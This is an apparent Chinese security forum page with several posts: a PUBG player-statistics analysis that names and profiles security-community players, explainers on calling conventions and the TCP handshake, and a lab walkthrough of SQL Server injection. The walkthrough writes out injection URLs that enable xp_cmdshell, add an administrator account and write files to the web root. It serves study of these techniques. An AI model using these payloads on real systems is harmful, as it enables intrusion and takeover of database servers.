拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:



1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害



笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:



1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长



爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:



KD:8.4
伤害:1099.57



是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:



KD:3.7
伤害:461.18



排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:



Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436



通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。

常见函数调用约定

PWN-类型(多为溢出)snow 发表了文章 • 0 个评论 • 81 次浏览 • 2019-04-15 09:29 • 来自相关话题

函数调用约定:
    函数调用约定,顾名思义,即调用函数的一套约定。主要体现在三个方面:
函数参数的传递方式,比如参数是存放在寄存器中还是栈中。参数的传递顺序,是从右向左传递还是从左向右传递。调用者处理栈环境还是被调用者处理栈环境。
 
__cdecl:
    __cdecl 是 C 和 C++ 程序的默认调用约定。
    参数使用栈进行传递,以逆序方式(及由右向左)压入栈,由调用者使用 add esp,X 命令整理栈,返回值存放在 eax 中。
    cdecl 方式的好处在于,可以向被调用函数传递长度可变的参数,这种长度可变的参数在其他调用约定中很难实现。
 
stdcall:
    stdcall 方式是微软 Win32 API 的标准,有“标准调用”(Standard Call)之意。
    stdcall 方式和 __cdecl 方式唯一的不同就是 stdcall 方式是由被调用者使用 RETN X 命令整理栈。
    在 Win32 API中,也有一些函数是 __cdecl 调用的,例如 wsprintf。
 
pascal:
    该规范按照从左到右的顺序压参数入栈,要求被调用者负责清除栈。
    
 
Fastcall:
    Fastcall,顾名思义,特点就是就是快。因为是使用寄存器来传递参数的,从 cpu 的立场来看,访问寄存器的速度要快于内存。
    不同的编译器实现的 Fastcall 稍有不同。
    Microsoft Visual C++ 编译器:左边的两个不大于4字节的参数分别放在 ecx 和 edx 中,寄存器使用完后就要使用栈,其余参数按照从右到左的顺序压入栈,被调用者在返回前清理栈。浮点值、远指针和 __init64 类型总是通过栈来传递。
    Borland Delphi/C++ 编译器:左边三个不大于4字节的参数分别放在 eax、edx 和 ecx 寄存器中。寄存器用完后,其余参数按照从左至右的 PASCAL 方式压入栈。
    前两个参数会使用寄存器(ecx,edx)来传递,其余参数使用栈内存传递。逆序传递,由被调用者整理栈。
 
thiscall:
    thiscall 是 c++ 中非静态类成员函数的默认调用约定。
    对象的每个函数隐含接收 this 参数。采用此约定时,函数参数按照从右到左的顺序入栈。被调用者清理栈,且仅通过 ecx 寄存器传送一个额外的参数--this指针。
    
函数对参数的存取以及局部变量都是使用栈来定义的。栈操作的对象只能是双操作数(4字节)。如果按照 stdcall 约定调用函数 test(par1, par2),汇编代码如下
 push par2 参数2入栈
push par1 参数1入栈
call test

push ebp 调用开始,ebp入栈,保护现场
mov ebp esp 使新的 ebp 指针指向栈顶
mov eax, dword ptr [ebp+0c] 调用参数2
mov ebx, dword ptr [ebp+08] 调用参数1
sub esp,8 如果函数要使用局部变量,申请新的栈空间
......
add esp,8 释放局部变量占用的栈空间
pop ebp 恢复调用前的 ebp 指针
ret 8 返回并清理栈
 
此外,enter 和 leave 指令也可以帮助进行栈的维护。
enter 语句的作用:push ebp

mov ebp,esp
sub esp,xxx
leave 语句的作用:add esp,xxx
pop ebp
 
通常来说,非优化编译器会用一个专门的寄存器(通常是 ebp)来对参数进行寻址。但在许多时候,编译器会按优化方式来编译程序,栈寻址稍有不同。这时候,编译器为了节省 ebp 寄存器或者尽可能减少代码以提高速度,会直接使用 esp 对参数进行寻址。
 
 
=12ptx86 应用程序的函数调用有多种方式,但 x64 应用程序只有一种寄存器快速调用约定:
    前四个参数使用寄存器进行传递,分别是 第一个参数 RCX、第二个参数 RDX、第三个参数 R8、第四个参数 R9。如果有浮点参数,那么前四个将会被传入 XMM0、XMM1、XMM2、XMM3 这四个寄存器。如果参数既有整数类型,又有浮点类型。例如 
 void fun(float,int,float,int)
 
那么参数传递顺序为第一个参数 XMM0、第二个参数 RDX、第三个参数 XMM2、第四个参数 R9。
    如果函数的参数超过4个,那么多余的参数将会存放在栈中。入栈顺序为从右到左,由调用者平衡栈空间。即使是浮点数,也直接放入栈中。
    函数的前四个参数虽然使用寄存器来传递,但是栈仍然为这四个参数预留了32字节的空间(4个64位值)。当函数功能比较复杂时,可能导致寄存器不够用,这时候可以把寄存器的值存入这32字节的空间中。该空间由调用者提前申请,由调用者负责平衡栈空间。
 
  查看全部
函数调用约定:
    函数调用约定,顾名思义,即调用函数的一套约定。主要体现在三个方面:
  1. 函数参数的传递方式,比如参数是存放在寄存器中还是栈中。
  2. 参数的传递顺序,是从右向左传递还是从左向右传递。
  3. 调用者处理栈环境还是被调用者处理栈环境。

 
__cdecl:
    __cdecl 是 C 和 C++ 程序的默认调用约定。
    参数使用栈进行传递,以逆序方式(及由右向左)压入栈,由调用者使用 add esp,X 命令整理栈,返回值存放在 eax 中。
    cdecl 方式的好处在于,可以向被调用函数传递长度可变的参数,这种长度可变的参数在其他调用约定中很难实现。
 
stdcall:
    stdcall 方式是微软 Win32 API 的标准,有“标准调用”(Standard Call)之意。
    stdcall 方式和 __cdecl 方式唯一的不同就是 stdcall 方式是由被调用者使用 RETN X 命令整理栈。
    在 Win32 API中,也有一些函数是 __cdecl 调用的,例如 wsprintf。
 
pascal:
    该规范按照从左到右的顺序压参数入栈,要求被调用者负责清除栈。
    
 
Fastcall:
    Fastcall,顾名思义,特点就是就是快。因为是使用寄存器来传递参数的,从 cpu 的立场来看,访问寄存器的速度要快于内存。
    不同的编译器实现的 Fastcall 稍有不同。
    Microsoft Visual C++ 编译器:左边的两个不大于4字节的参数分别放在 ecx 和 edx 中,寄存器使用完后就要使用栈,其余参数按照从右到左的顺序压入栈,被调用者在返回前清理栈。浮点值、远指针和 __init64 类型总是通过栈来传递。
    Borland Delphi/C++ 编译器:左边三个不大于4字节的参数分别放在 eax、edx 和 ecx 寄存器中。寄存器用完后,其余参数按照从左至右的 PASCAL 方式压入栈。
    前两个参数会使用寄存器(ecx,edx)来传递,其余参数使用栈内存传递。逆序传递,由被调用者整理栈。
 
thiscall:
    thiscall 是 c++ 中非静态类成员函数的默认调用约定。
    对象的每个函数隐含接收 this 参数。采用此约定时,函数参数按照从右到左的顺序入栈。被调用者清理栈,且仅通过 ecx 寄存器传送一个额外的参数--this指针。
    
函数对参数的存取以及局部变量都是使用栈来定义的。栈操作的对象只能是双操作数(4字节)。如果按照 stdcall 约定调用函数 test(par1, par2),汇编代码如下
 
push par2                       参数2入栈
push par1 参数1入栈
call test

push ebp 调用开始,ebp入栈,保护现场
mov ebp esp 使新的 ebp 指针指向栈顶
mov eax, dword ptr [ebp+0c] 调用参数2
mov ebx, dword ptr [ebp+08] 调用参数1
sub esp,8 如果函数要使用局部变量,申请新的栈空间
......
add esp,8 释放局部变量占用的栈空间
pop ebp 恢复调用前的 ebp 指针
ret 8 返回并清理栈

 
此外,enter 和 leave 指令也可以帮助进行栈的维护。
enter 语句的作用:
push ebp 

mov ebp,esp
sub esp,xxx

leave 语句的作用:
add esp,xxx
pop ebp

 
通常来说,非优化编译器会用一个专门的寄存器(通常是 ebp)来对参数进行寻址。但在许多时候,编译器会按优化方式来编译程序,栈寻址稍有不同。这时候,编译器为了节省 ebp 寄存器或者尽可能减少代码以提高速度,会直接使用 esp 对参数进行寻址。
 
 
=12ptx86 应用程序的函数调用有多种方式,但 x64 应用程序只有一种寄存器快速调用约定:
    前四个参数使用寄存器进行传递,分别是 第一个参数 RCX、第二个参数 RDX、第三个参数 R8、第四个参数 R9。如果有浮点参数,那么前四个将会被传入 XMM0、XMM1、XMM2、XMM3 这四个寄存器。如果参数既有整数类型,又有浮点类型。例如 
 
void fun(float,int,float,int)

 
那么参数传递顺序为第一个参数 XMM0、第二个参数 RDX、第三个参数 XMM2、第四个参数 R9。
    如果函数的参数超过4个,那么多余的参数将会存放在栈中。入栈顺序为从右到左,由调用者平衡栈空间。即使是浮点数,也直接放入栈中。
    函数的前四个参数虽然使用寄存器来传递,但是栈仍然为这四个参数预留了32字节的空间(4个64位值)。当函数功能比较复杂时,可能导致寄存器不够用,这时候可以把寄存器的值存入这32字节的空间中。该空间由调用者提前申请,由调用者负责平衡栈空间。
 
 

计算机网络原理三次握手四次挥手详细

编程jizi_smile 发表了文章 • 1 个评论 • 126 次浏览 • 2019-04-14 13:51 • 来自相关话题

TCP/IP协议在实现端到端的连接的时候用到了三次握手连接,按照一般的想法,连接的建立只需要经过 客户端请求 服务器端指示  服务器端响应  客户端确认 两次握手四个步骤即可建立连接。
然而问题并非如此简单,因为通信子网总不那么理想,不能保证分组及时地传到目的地。假如分组丢失,通常使用超时重传来解决此问题。客户端发出一个连接请求的时候,同时启动一个定时器,一旦定时器超时,客户端再次发送连接请求,并重新启动定时器,直到成功建立连接,或重传次数达到一定值时,认为连接不可建立而放弃。
最难解决的问题是连接根本没有丢失,而是在子网中存储起来,过一段时间又突然出现在服务器端,即所谓的延迟重复问题。延迟重复回导致重复连接和重复处理,这在很多应用系统(如银行系统、订票系统)中是绝对不能出现的。
下面是TCP报文格式图:





上图中有几个字段需要重点介绍下:
序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。标位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:
URG:紧急指针(urgent pointer)有效。ACK:确认序号有效。PSH:接收方应该尽快将这个报文交给应用层。RST:重置连接。SYN:发起一个新连接。FIN:释放一个连接。需要注意的是:不要将确认序号Ack与标志位中的ACK搞混了。确认方Ack=发起方Req+1,两端配对而三次握手机制就是为了消除重复连接而消除的。三次握手机制首先要求对本次连接的所有报文进行编号,取一个随机值作为初始序号,由于序号域足够长,可以保证序号循环一周时使用同一序号的旧报文早已传输完毕,网络上就不会出现同一连接、同一序号的两个不同报文。[list=1]第一次握手:Client将标志位SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Sever之间就可以开始传数据了。


 4次挥手过程详解 三次握手耳熟能详,四次挥手估计就少有人知道了。所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示


 由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。​第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。
 
上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:





 
为什么建立连接是三次握手,而关闭连接却是四次挥手呢?
这是因为服务端在LISTEN状态下,收到建立连接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭连接时,当收到对方的FIN报文时,仅仅表示对方不再发送数据了但是还能接收数据,己方也未必全部数据都发送给对方了,所以己方可以立即close,也可以发送一些数据给对方后,再发送FIN报文给对方来表示同意现在关闭连接,因此,己方ACK和FIN一般都会分开发送
 
 
转自(https://blog.csdn.net/qq_34940959/article/details/78592379) 查看全部
TCP/IP协议在实现端到端的连接的时候用到了三次握手连接,按照一般的想法,连接的建立只需要经过 客户端请求 服务器端指示  服务器端响应  客户端确认 两次握手四个步骤即可建立连接。
然而问题并非如此简单,因为通信子网总不那么理想,不能保证分组及时地传到目的地。假如分组丢失,通常使用超时重传来解决此问题。客户端发出一个连接请求的时候,同时启动一个定时器,一旦定时器超时,客户端再次发送连接请求,并重新启动定时器,直到成功建立连接,或重传次数达到一定值时,认为连接不可建立而放弃。
最难解决的问题是连接根本没有丢失,而是在子网中存储起来,过一段时间又突然出现在服务器端,即所谓的延迟重复问题。延迟重复回导致重复连接和重复处理,这在很多应用系统(如银行系统、订票系统)中是绝对不能出现的。

下面是TCP报文格式图:

包结构.png

上图中有几个字段需要重点介绍下:
  1. 序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。
  2. 确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。
  3. 标位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:

  • URG:紧急指针(urgent pointer)有效。
  • ACK:确认序号有效。
  • PSH:接收方应该尽快将这个报文交给应用层。
  • RST:重置连接。
  • SYN:发起一个新连接。
  • FIN:释放一个连接。
需要注意的是:
  • 不要将确认序号Ack与标志位中的ACK搞混了。
  • 确认方Ack=发起方Req+1,两端配对
而三次握手机制就是为了消除重复连接而消除的。三次握手机制首先要求对本次连接的所有报文进行编号,取一个随机值作为初始序号,由于序号域足够长,可以保证序号循环一周时使用同一序号的旧报文早已传输完毕,网络上就不会出现同一连接、同一序号的两个不同报文。[list=1]
  • 第一次握手:Client将标志位SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。
  • 第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。
  • 第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Sever之间就可以开始传数据了。
  • 20171122163321743.png
     4次挥手过程详解 三次握手耳熟能详,四次挥手估计就少有人知道了。所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示
    四次挥手.png
     由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。​
    • 第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。
    • 第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。
    • 第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。
    • 第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。

     
    上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:

    四次挥手特例.png

     
    为什么建立连接是三次握手,而关闭连接却是四次挥手呢?
    这是因为服务端在LISTEN状态下,收到建立连接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭连接时,当收到对方的FIN报文时,仅仅表示对方不再发送数据了但是还能接收数据,己方也未必全部数据都发送给对方了,所以己方可以立即close,也可以发送一些数据给对方后,再发送FIN报文给对方来表示同意现在关闭连接,因此,己方ACK和FIN一般都会分开发送
     
     
    转自(https://blog.csdn.net/qq_34940959/article/details/78592379

    SQLServer注入中基于xp_cmdshell的命令执行

    Web安全渗透wuyou 发表了文章 • 0 个评论 • 160 次浏览 • 2019-04-14 13:44 • 来自相关话题

    前提:
    getshell或者存在sql注入并且能够执行命令。sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。


    实验环境:
    sql server 2008
    IIS 7.0
    存在注入点的asp的Web页面

    实验过程:
    xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。




    这个就是我们的实验用注入点

    首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
    http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

    查看是否有xp_cmdshell
    http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
    成功延时,接下来开启xp_cmdshell

    允许修改高级参数
    http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

    打开xp_cmdshell扩展
    http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
    这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题





    MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
    于是我调整了开启MSSQL服务的账户





    命令执行成功




     
    Web环境测试:
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

    尝试写入文件成功
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

    但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
    但是可以尝试其他思路
    不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

      查看全部
    前提:
    1. getshell或者存在sql注入并且能够执行命令。
    2. sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。



    实验环境:
    sql server 2008
    IIS 7.0
    存在注入点的asp的Web页面

    实验过程:
    xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
    1.png

    这个就是我们的实验用注入点

    首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
    http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

    查看是否有xp_cmdshell
    http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
    成功延时,接下来开启xp_cmdshell

    允许修改高级参数
    http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

    打开xp_cmdshell扩展
    http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
    这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题
    2.png


    MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
    于是我调整了开启MSSQL服务的账户
    3.png


    命令执行成功
    4.png

     
    Web环境测试:
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

    尝试写入文件成功
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

    但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
    但是可以尝试其他思路
    不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来